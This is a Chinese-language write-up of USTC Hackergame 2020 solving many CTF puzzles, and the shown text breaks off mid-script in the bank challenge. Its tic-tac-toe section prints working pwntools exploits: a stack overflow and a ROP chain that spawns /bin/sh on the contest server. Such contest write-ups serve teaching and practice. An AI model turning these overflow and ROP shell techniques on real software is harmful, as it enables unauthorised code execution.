CTF | 2020 USTC Hackergame WriteUp


前言

一年一度的 USTC Hackergame 又来了。

中国科学技术大学第七届信息安全大赛

比赛平台:https://hack.lug.ustc.edu.cn/

官方 WriteUp & 题目存档:https://github.com/USTC-Hackergame/hackergame2020-writeups

正好这周事情不是很多,有机会来打一打玩一玩。

由于怕比赛结束再写我会咕咕咕,于是就边做题边写 WriteUp 了。

比赛结束之后又复现了几道被卡住的题这样。

(这篇特别长特别长特别长……


签到

FLAG 提取器 还行。

(就是不想给你1个 flag 吧 233

var prevVal = 0;
$(document).ready(function() {
    $("#show").text($('#number')[0].value);
    $('#number').on('input', function() {
        if ($('#number')[0].value.toString() === "1") {
            console.log('没想到吧!');
            $('#number')[0].value = 1.00001;
            if (prevVal == 1.00001)  $('#number')[0].value = 0.99999;
            if (prevVal == 0.99999)  $('#number')[0].value = 1.00001;
        }
        $("#show").text($('#number')[0].value.toString());
        prevVal = $('#number')[0].value;
    });
});

直接改 url 就完事了。

signin


猫咪问答++

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
    Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
    提示:学术上一般认为龙不属于哺乳动物。

    docker

    golang

    python

    Plan9bunnysmblack

    php

    GNU

    perl

    PostgreSQL

    MariaDB

    ……

    不找了(懒

    最后直接穷举了,有 12 个。(详见后面)

  1. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?
    提示:咕咕咕,咕咕咕。

    这个题真的有意思。最开始还以为是很常见的 1500 bytes,或者 PPPOE 的1492bytes,但都不对。

    于是真就去找了,没想到真有禽类作为标准这一说。

    百度百科:信鸽IP通讯

    “禽类作为载体传输IP数据包标准”

    详见 RFC 1149 - Standard for the transmission of IP datagrams on avia

    MTU

    得到其 MTU 为 256 毫克。绝了!

    BTW, 顺便查到了 常见的 MTU 标准。

    详见 RFC 1191: Path MTU Discovery

    Common MTUs in the Internet

  1. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?
    提示:活动记录会在哪里?

    https://lug.ustc.edu.cn/wiki/lug/events/

    https://ftp.lug.ustc.edu.cn/%E6%B4%BB%E5%8A%A8/2019.09.21_SFD/slides/%E9%97%AA%E7%94%B5%E6%BC%94%E8%AE%B2/Teeworlds/teeworlds.pdf

    TEEWORLDS

    9

  1. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
    提示:建议身临其境。

    百度实景地图 好啊!

    baidu map

    9

  1. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?
    提示:是一个非负整数。

    参考 https://lug.ustc.edu.cn/news/2019/12/hackergame-2019/

    经统计,在本次比赛中,总共有 2682 人注册,1904 人至少完成了一题。比赛期间所有人合计提交了 17098 次 flag,其中约 57.44% 为正确的提交。

    17098

抓了个包拿去 Burp Suite 暴力解第一题答案(大雾

最后得到 flag。

flag


2048

好一个翻版的2048,然而真正要到 2^14 才行(

玩了几局发现玩不下去了,直接看源码好了吧。

关键的源码在 html_actuator.js 最后这一段。

HTMLActuator.prototype.message = function (won) {
    var type    = won ? "game-won" : "game-over";
    var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";

    var url;
    if (won) {
        url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
    } else {
        url = "/getflxg?my_favorite_fruit=";
    }

    let request = new XMLHttpRequest();
    request.open('GET', url);
    request.responseType = 'text';

    request.onload = function() {
        document.getElementById("game-message-extra").innerHTML = request.response;
    };

其中

banana

NaN 拼接可还行,JS 真奇妙。

于是构造请求

http://202.38.93.111:10005/getflxg?my_favorite_fruit=banana

即可拿到 flag 了!

flag


一闪而过的 Flag

在命令行里打开就完事了。

flag


从零开始的记账工具人

如同往常一样,你的 npy 突然丢给你一个购物账单:“我今天买了几个小玩意,你能帮我算一下一共花了多少钱吗?”

你心想:又双叒叕要开始吃土了 这不是很简单吗?电子表格里面一拖动就算出来了

只不过拿到账单之后你才注意到,似乎是为了剁手时更加的安心,这次的账单上面的金额全使用了中文大写数字

注意:请将账单总金额保留小数点后两位,放在 flag{} 中提交,例如总金额为 123.45 元时,你需要提交 flag{123.45}

发现是个 excel。

excel

总共有1000行数据,本来想在里面直接转换的,但试了一下发现没找到自带的工具,于是用 Python 写个脚本算算好了。

首先用正则匹配先把元、角、分给提取出来,然后写个字典转换就好了。

这里的转换参考了 Python 中文(大写)数字转阿拉伯数字,在此基础上结合这题改了改代码。

另外考虑到浮点运算可能带来的精度问题,元、角、分单独统计,最后进行合并。

# -*- coding: utf-8 -*-
"""
Hackergame 2020
从零开始的记账工具人

@Author: MiaoTony
@Time: 20201031
"""

# constants for chinese_to_arabic
CN_NUM = {
    '〇': 0, '一': 1, '二': 2, '三': 3, '四': 4, '五': 5, '六': 6, '七': 7, '八': 8, '九': 9, '零': 0,
    '壹': 1, '贰': 2, '叁': 3, '肆': 4, '伍': 5, '陆': 6, '柒': 7, '捌': 8, '玖': 9, '貮': 2, '两': 2,
}

CN_UNIT = {
    '十': 10,
    '拾': 10,
    '百': 100,
    '佰': 100,
    '千': 1000,
    '仟': 1000,
    '万': 10000,
    '萬': 10000,
    '亿': 100000000,
    '億': 100000000,
    '兆': 1000000000000,
}


def chinese_to_arabic(cn: str) -> int:
    unit = 0   # current
    ldig = []  # digest
    for cndig in reversed(cn):
        if cndig in CN_UNIT:
            unit = CN_UNIT.get(cndig)
            if unit == 10000 or unit == 100000000:
                ldig.append(unit)
                unit = 1
        else:
            dig = CN_NUM.get(cndig)
            if unit:
                dig *= unit
                unit = 0
            ldig.append(dig)
    if unit == 10:
        ldig.append(10)
    val, tmp = 0, 0
    for x in reversed(ldig):
        if x == 10000 or x == 100000000:
            val += tmp * x
            tmp = 0
        else:
            tmp += x
    val += tmp
    return val

if __name__ == '__main__':
    s = """贰拾元陆角伍分    1
    壹元壹角贰分    4
    拾捌元伍角壹分    1
    ...
    """
    l = s.split('\n')
    # print(len(l))

    re_split = re.compile(r'(.*元)?(.*角)?(.*分)?')

    total_yuan = 0
    total_jiao = 0
    total_fen = 0

    for row in l:
        yuan_int = 0
        jiao_int = 0
        fen_int = 0

        print(row)
        money = row.split('\t')[0]
        count = row.split('\t')[1]
        count_int = int(count)

        money_group = re_split.search(money)
        if money_group.group(1):
            yuan = money_group.group(1)[:-1]
            yuan_int = chinese_to_arabic(yuan)

        if money_group.group(2):
            jiao = money_group.group(2)[:-1]
            jiao_int = chinese_to_arabic(jiao)

        if money_group.group(3):
            fen = money_group.group(3)[:-1]
            fen_int = chinese_to_arabic(fen)

        print(yuan_int, jiao_int, fen_int)

        total_yuan += yuan_int * count_int
        total_jiao += jiao_int * count_int
        total_fen += fen_int * count_int

    total = total_yuan + total_jiao * 0.1 + total_fen * 0.01

    print("total:", total)

results

所以就是

flag{20132.81}

后面才知道,这题居然是动态 flag,也就是说动态生成的文件。出题师傅们太强了!

BTW,还发现了一个好用的库 cn2an

📦 快速转化「中文数字」和「阿拉伯数字」~ (最新特性:分数,日期、温度等转化)


自复读的复读机

你现在需要编写两个只有一行 Python 代码的顶尖复读机:

  • 其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
  • 另一个是输出代码本身的 sha256 哈希值,十六进制小写

满足两个条件分别对应了两个 flag。

参考:

Wikipedia: Quine (computing)

B乎:如何编写一个打印自身源代码的程序

在Python中有一个 %r,它的意思就是调用对象的 repr() 方法后替换本身在字符串中的位置,对于字符串对象,会保留其本身的引号(这点在我们实现 Quine 的时候会减少很多麻烦)。

输出代码本身的逆序

s = "s = %r;print(''.join(reversed(s %% s)),end='')";print(''.join(reversed(s % s)),end='')

flag

BTW,这个题本来想在 VPS 上搭个接口直接返回的逆向的字符串,不过发现这个机器好像不通外网于是不行?

BTW,这个exec()可以直接读源码但不能读 flag,2333. 原因是用了 subprocess 以 nobody 用户去执行脚本,而 flag 放在了 /root 目录下。

输出代码本身的 sha256 哈希值

import hashlib;m=hashlib.sha256();s="import hashlib;m=hashlib.sha256();s=%r;m.update((s %% s).encode());print(m.hexdigest(),end='')";m.update((s % s).encode());print(m.hexdigest(),end='')

flag


233 同学的字符串工具

题目所给关键代码如下。

def to_upper(s):
    r = re.compile('[fF][lL][aA][gG]')
    if r.match(s):
        print('how dare you')
    elif s.upper() == 'FLAG':
        print('yes, I will give you the flag')
        print(open('/flag1').read())
    else:
        print('%s' % s.upper())

def to_utf8(s):
    r = re.compile('[fF][lL][aA][gG]')
    s = s.encode() # make it bytes
    if r.match(s.decode()):
        print('how dare you')
    elif s.decode('utf-7') == 'flag':
        print('yes, I will give you the flag')
        print(open('/flag2').read())
    else:
        print('%s' % s.decode('utf-7'))

字符串大写工具

得看看啥字符经过 upper 方法出来就是 flag 或者其中某个字符。

这里就硬是跑出来的。

for i in range(0x80, 0x10000):
    char = chr(i)
    if 'f' in char.upper() or 'F' in char.upper():
        print(hex(i), chr(i))

print('fl'.upper())
print(len('fl'))

求解字符

payload:

flag

flag1

flag{badunic0debadbad_xxxxxxxx}

Unicode 太奇妙了!据说这叫做 unicode 字符折叠/合字(?)

Extensive Reading:

CSDN: 了不起的 Unicode!

UTF-7 到 UTF-8 转换工具

s.encode()decode() 默认用的 utf-8 编码,这里用 utf-7 编码再用 utf-7 解码就能吐 flag 了。

最开始用 Python 的 'flag'.encode('utf-7') 方法,发现出来结果就是 b'flag',傻了。

之后去查了 UTF-7 的维基百科,决定自己按照编码流程走一遍吧。

(没注意是 UTF-16 大端序,我试了半天发现最后是大小端的问题,人傻了。

编码方法

首先将 flag 转换为 UTF-16(BE) (1201),即下面的 x

而后每六位一组进行 base64 编码,这里直接用 base64 模块的方法了。

最后去掉末尾的 =,在最前面加上 +,即可得到 UTF-7 编码。

x = b'\x00\x66\x00\x6c\x00\x61\x00\x67'
y = base64.b64encode(x)
# b'AGYAbABhAGc='

b'+AGYAbABhAGc='.decode('utf-7')
# 'flag'

payload:

+AGYAbABhAGc

flag2

flag{please_visit_www.utf8everywhere.org_25xxxxxx}

https://utf8everywhere.org/ 啊 UTF-8 编码确实是个好东西。

facts

草,想想就气(


从零开始的火星文生活

L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文……

L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?

注:正确的 flag 全部由 ASCII 字符组成!

有大佬发现了一个编解码网站http://www.mytju.com/classcode/tools/messyCodeRecover.asp

能够猜测原来和可能的编解码方式。

(BTW, 这个网站不是本地跑的,请注意信息安全

根据提示,应该是先用 GBK 来解码,GBK => UTF-8,然而结果像这样:

GBK => UTF-8

发现不对劲,应该反过来,是 UTF-8 => GBK。

UTF-8 => GBK

然后再把拿去恢复。

发现是要用 GBK 来读,再转换到 iso-8859-1,即 Latin1(28591)。

flag

要不然就 python 写脚本。(贼想不通这里,佛了

str == encode ==> bytes == decode ==> str

with open('gibberish_message.txt', 'rb') as fin:
    content = fin.read()
print(content)
content1 = content.decode('utf-8', errors='ignore').encode('gbk')
print(content1.decode())
content2 = content1.decode('utf-8', errors='ignore').encode('latin1', errors='ignore')
print(content2)
content3 = content2.decode('gbk', errors='ignore').encode('utf-8', errors='ignore')
print(content3.decode())

python decode

当然也可以在 Linux 下借助 iconv

cat gibberish_message.txt  | iconv -f utf8 -t gbk | iconv -f utf8 -t latin1 | iconv -f gbk -t utf8 > 1.txt
# OR (utf-8 for default)
# cat gibberish_message.txt  | iconv -t gbk | iconv -t latin1 | iconv -f gbk

得到文件内容

我攻破了 Hackergame 的服务器,偷到了它们的 flag,现在我把 flag 发给你:
flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_xxxxxx}
快去比赛平台提交吧!
不要再把这份信息转发给其他人了,要是被发现就糟糕了!

flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_xxxxxx}


超简单的世界模拟器

参考:

wikipedia: Conway’s Game of Life

学术干货 | Conway’s Game of Life 生命游戏的建筑设计应用

这里有个模拟器https://nealwang.net/JustForFun/GameOfLife.html

也挺有意思的。

两个正方形的第一行分别位于第6行,第26行。

蝴蝶效应

消除第一个正方形:

下面 LWSS 这个图形能水平向右移动。

而 Glinder 这个图形能向右下角45°方向移动。

image-20201103154500247

000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
100100000000000
000010000000000
100010000000000
011110000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
# Or
000000000000000
100100000000000
000010000000000
100010000000000
011110000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000

flag

测试中发现这些能清除下面的正方形((

000000000000000
000000000000000
000000000000000
000000000010000
000000000001000
100100000111000
000010000000000
100010000000000
011110000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
# OR
000000000000000
000000000000100
000000000000010
000000000001110
000000000000000
100100000000000
000010000000000
100010000000000
011110000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000000000

一石二鸟

需要同时消除两个正方形。

试了好久没出来,最后还是瞎改出来的233。

发现下面这个图形能向外扩散,于是试试。

000000000000000
000000000000000
000000000000000
000000000000000
000000000000000
000000000010010
000000000000001
000000000010001
000000000001111
000000000000000
000000000000000
001100000000000
000100000000000
011100000000000
000000000000000

flag2


233 同学的 Docker

233 同学在软工课上学到了 Docker 这种方便的东西,于是给自己的字符串工具项目写了一个 Dockerfile。

但是 233 同学突然发现它不小心把一个私密文件(flag.txt)打包进去了,于是写了一行命令删掉这个文件。

「既然已经删掉了,应该不会被人找出来吧?」233 想道。

首先把镜像拉下来

docker pull 8b8d3c8324c7/stringtool

Image Layers 里可以看到删除 flag.txt 的层。

Image Layers

或者

docker history 8b8d3c8324c7/stringtool

那么我们就找一找构建过程中的文件好了。

把镜像导出来。

docker save 8b8d3c8324c7/stringtool > images.tar

BTW, docker save 用来将一个或多个 image 打包保存,而 docker export 用来将 container 的文件系统进行打包。

docker load 用来载入镜像包,docker import 用来载入容器包,但两者都会恢复为镜像;

docker load 不能对载入的镜像重命名,而 docker import 可以为镜像指定新名称。

(参考 docker save与docker export的区别

在里面找到了。(话说有没有快一点的方法唉

images

flag

flag{Docker_Layers!=PS_Layers_hhh}

顺便看了一眼 Dockerfile。

# Set the base image to use to centos 7
FROM centos:7

# Set the file maintainer
MAINTAINER Software_Engineering_Project

# Install necessary tools
RUN yum -y install wget make yum-utils

# Install python dependencies
RUN yum-builddep python -y

# Install tools needed
RUN yum -y install gcc
RUN yum -y install vim
RUN yum -y install mariadb-devel

# Download the python3.7.3
RUN wget -O /tmp/Python-3.7.3.tgz https://www.python.org/ftp/python/3.7.3/Python-3.7.3.tgz

# Build and install python3.7.3
RUN tar -zxvf /tmp/Python-3.7.3.tgz -C /tmp/
RUN /tmp/Python-3.7.3/configure
RUN make && make install

# Create symbolic link
RUN rm -f /usr/bin/python
RUN ln -s /usr/local/bin/python3 /usr/bin/python
RUN ln -s /usr/local/bin/pip3 /usr/bin/pip

# Upgrade the pip
RUN pip install --upgrade pip

# Fix the yum
RUN sed -i 's/python/python2/' /usr/bin/yum

# Clean
RUN rm -rf /tmp/Python-3.7.3*
RUN yum clean all

RUN pip3 install ipython
RUN pip3 install bpython
RUN pip3 install pipenv

ENV PYTHONUNBUFFERED 1
RUN mkdir /code
WORKDIR /code
COPY . /code/
RUN rm /code/flag.txt
ENTRYPOINT python /code/app.py

每一次 RUN 都是新开一个容器执行相应的操作,在当前镜像基础上执行指定命令,并提交为新的镜像。

某种程度上可以说镜像是一个分层的文件系统。Docker 镜像实际上就是由这样的一层层文件进行叠加起来的,上层的文件会覆盖下层的同名文件。而各层里有重复的文件,因此镜像要大得多。这些层合并在一起就成了容器里的内容。

也正是如此,flag 也能够被找到了23333.


从零开始的 HTTP 链接

众所周知,数组下标应当从 0 开始。

同样的,TCP 端口也应当从 0 开始。为了实践这一点,我们把一个网站架设在服务器的 0 号端口上。

你能成功连接到 0 号端口并拿到 flag 吗?

点击下面的打开题目按钮是无法打开网页的,因为普通的浏览器会认为这是无效地址。

http://202.38.93.111:0/

这个真的有意思。一般 TCP 端口都是1-65535,于是很多客户端都不支持 0 号端口。

好在部分版本的 curl 以及 wget 支持。

然而我在本地跑还连不上这个端口,怕是被运营商掐断了?

在VPS上试试,发现可行。

curl http://202.38.93.111:0
# 或者 
# wget http://202.38.93.111:0

得到一个网页,发现是一个 xterm 终端,和其他题目的在线终端一样的。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Terminal</title>
    <link rel="stylesheet" href="/js/xterm/css/xterm.css" />
    <script src="/js/xterm/lib/xterm.js"></script>
    <script src="/js/xterm-addon-attach/lib/xterm-addon-attach.js"></script>
    <script src="/js/xterm-addon-fit/lib/xterm-addon-fit.js"></script>
    <style>
      #terminal {
        position: absolute;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
      }
    </style>
  </head>
  <body>
    <div id="terminal"></div>
    <script>
      const term = new Terminal();
      const fitAddon = new FitAddon.FitAddon();
      term.loadAddon(fitAddon);
      term.open(document.getElementById("terminal"));
      fitAddon.fit();
      window.addEventListener('resize', function(event) {
        fitAddon.fit();
      });
      var firstmsg = true;
      const socket = new WebSocket(
        location.origin.replace(/^http/, "ws") + "/shell"
      );
      const attachAddon = new AttachAddon.AttachAddon(socket);
      term.loadAddon(attachAddon);
      socket.onclose = event => {
        term.write("\nConnection closed");
      };
      socket.onmessage = event => {
        if (firstmsg) {
          firstmsg = false;
          let token = new URLSearchParams(window.location.search).get("token");
          window.history.replaceState({}, null, '/');
          if (token) {
            localStorage.setItem('token', token);
          } else {
            token = localStorage.getItem('token');
          }
          if (token) socket.send(token + "\n");
        }
      };
      term.focus();
    </script>
  </body>
</html>

这个逻辑是访问网页后实例化一个 WebSocket,将 HTTP 升级到 WS 协议,URI 为 ws://202.38.93.111:0/shell

于是乎就去找 websocket 客户端来实现。

最开始想用 pwntools,发现能作为 socket 连上但还模仿不了 ws(可能没领悟到

之后找到了 GitHub 上的 websocket-client,这是一个 Python 的 ws 库,本来想直接用他现成的 wsdump.py,发现连不上。。

最后又找了个编译好的客户端,websocat,按照安装说明进行安装,再连接服务器就完事了。

flag


来自一教的图片

小 P 在一教做傅里叶光学实验时,在实验室电脑的模拟程序里发现了这么一张的图片:

img

数理基础并不扎实的小 P 并不知道什么东西成像会是这个样子:又或许什么东西都不是,毕竟这只是模拟 … 但可以确定的是,这些看似奇怪的花纹里确实隐藏着一些信息,或许是地下金矿的藏宝图也未可知。

根据提示应该与 傅里叶变换 有关。

给图片做个 FFT 处理,就得到 flag 了。

fourier

拼一下就能得到

flag{Fxurier_xptics_is_fun}

噢 Fourier optics 的确是傅里叶光学,嘻嘻嘻。


超简陋的 OpenGL 小程序

啥也不懂,魔改就是了。

把文件删了点东西,他出来这样的。

不对劲,查了一下这个好像是 OpenGL着色器语言(GLSL)。

有机会可以看看 OpenGL 入门文档

最后魔改了 basic_lighting.vs 这个文件。看不清楚就改改偏移就好了。

void main()
{
    FragPos = vec3(projection * vec4(aPos-0.45, 1.0));
    Normal = aNormal;  

    gl_Position = projection * view * vec4(FragPos, 1.0);
}

flag

flag

flag{glGraphicsHappy(233);}


生活在博弈树上

始终热爱大地

是个最基本的栈溢出

gets(input);函数存在漏洞,看一下栈上情况。

input 对应 v14success 对应 v17

stack

stack

偏移为 -0x01-(-0x90) = 0x8F

bool 库里的 true 为 0x01。

把这个 success 覆盖为 0x01 就能出 flag 了。

#!/usr/bin/python3
# coding: utf-8
"""
Hackergame_tictactoe
@Author: MiaoTony
@Time: 20201103
"""

from pwn import *
context.log_level = 'debug'
token = 'xxxxxxxxxxxxxxxxxxx'
sh = remote("202.38.93.111", 10141)
sh.sendlineafter('Please input your token: ', token)

payload = b'1' * 0x8F
payload += b'\x01'
sh.sendlineafter('such as (0,1): ', payload)
sh.interactive()

flag

flag{easy_gamE_but_can_u_get_my_shel1}

升上天空

要拿 shell 啊。。

先用 ROPgadget 生成 ROP Chain.

ROPgadget --binary tictactoe --ropchain

然后把这个放到返回值的位置打过去就完事了。

#!/usr/bin/python3
# coding: utf-8
from struct import pack
from pwn import context, remote

context.log_level = 'debug'
token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
sh = remote("202.38.93.111", 10141)
sh.sendlineafter('Please input your token: ', token)

payload = b'1' * 0x8F
payload += b'\x01'
payload += b'1' * 8

# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228)  # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0)  # @ .data
p += pack('<Q', 0x000000000043e52c)  # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1)  # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228)  # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8)  # @ .data + 8
p += pack('<Q', 0x0000000000439070)  # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1)  # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6)  # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0)  # @ .data
p += pack('<Q', 0x0000000000407228)  # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8)  # @ .data + 8
p += pack('<Q', 0x000000000043dbb5)  # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8)  # @ .data + 8
p += pack('<Q', 0x0000000000439070)  # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000463af0)  # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4)  # syscall
payload += p

sh.sendlineafter('such as (0,1): ', payload)
sh.interactive()

flag2


来自未来的信笺

(复现)

你收到了一封邮件。没有标题,奇奇怪怪的发件人,和一份奇怪的附件。日期显示的是 3020 年 10 月 31 日。

“Send from Arctic.” 正文就只有这一句话。

「谁搞的恶作剧啊……话说这竟然没有被垃圾邮件过滤器过滤掉?」你一边嘟囔着一边解压了附件——只看到一堆二维码图片。

看起来有点意思。你不禁想试试,能否从其中得到什么有意义的东西。

这题做的时候已经想到是 GitHub Archive Program 了,但没想到真就整了一题。

一堆二维码。第一张出来是个 META.

前几张二维码里有一张内容是 GitHub 的 API 列表。对应的仓库是 openlug/nonexist。

然后我真去找了,发现没有,一种可能是 Private Repo,可能之前有过 Public?

于是去找了一些公开的 GitHub Archive 网站,并没有找到。

另一种可能就是假的了,真不存在。

不管了先把所有的二维码给解码出来,合并到一个文件里。

比赛做题的时候用的 Python 的 pyzbar 库,还特地注意了用 rb 以二进制来写入文件,然而出来的文件啥也不是……啥文件头都找不到,就离谱。

比赛结束了才知道是这个解析库本身存在问题,在 \x00 处会截断。

参考官方 WP 以及 总榜 rk1 大师傅的 WP,可以用 zbarimg 这个命令行工具来解码。

(脏话一堆,别问,问就是装 zbarimg 心态炸了

这里就用 Python 调用命令行来执行好了。

import os

file_list = list(os.walk('./frames'))[0][2]
for f in file_list:
    fi = './frames/' + f
    cmd = 'zbarimg --raw -Sbinary %s >> frames.tar'
    os.system(cmd % fi)

然后这个出来的 frames.tar 是个压缩包,解压再解压就能拿到 flag 了。

BTW, 比赛结束才知道那个 META 其实并不是个 Private Repo,而是 openlug/django-common,就去年 hackergame 的一道题。。


狗狗银行

这题也有点意思。

四舍五入薅羊毛大法好啊。(当然这也是一种可行方案啦)

储蓄卡 利率每日 0.3%

因此 五入 最少需要 0.5/0.003=167。

信用卡 利率每日 0.5%,最低 10

最划算的话是 10/0.005=2000,且欠款在 2000 到 2100 之间每日利息都是10。

把欠款控制在这个范围内就能薅羊毛了。

2000/167 => 12 借款分到12张储蓄卡中。

首先开6张信用卡,开12*6张储蓄卡,且依次转账到储蓄卡,每张卡167,确保每天有1的利息。

首先用初始的储蓄卡1000元吃饭,等储蓄卡余额 >= 177 的时候就能用储蓄卡还款+吃饭了。

最开始点的手累死了,想想算了写脚本吧。

首先把各个方法封装好。

# -*- coding: utf-8 -*-
"""
Hackergame 2020
狗狗银行

@Author: MiaoTony
@Time: 20201102
"""
import requests
import json

url_prefix = r'http://202.38.93.111:10100/api/'
headers = {
    "Host": "202.38.93.111:10100",
    "Origin": "http://202.38.93.111:10100",
    "Referer": "http://202.38.93.111:10100/",
    "Content-Type": "application/json;charset=utf-8",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Cache-Control": "max-age=0",
    "Authorization": "Bearer <your_token>",
    "Cookie": "session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
}
session = requests.Session()
session.headers = headers


def create_card(kind):
    """
    办卡 
    :param kind: {str} `credit`信用卡,`debit`储蓄卡
    """
    url = url_prefix + 'create'
    payload = {"type": kind}
    r = session.post(url, json=payload)
    r.encoding = 'utf-8'
    print(r.text)
    return r.text


def get_info():
    """
    获取用户信息
    """
    url = url_prefix + 'user'
    r = session.get(url)
    r.encoding = 'utf-8'
    # print(r.json())
    return r.json()


def get_balance():
    """
    获取净资产
    """
    info = get_info()
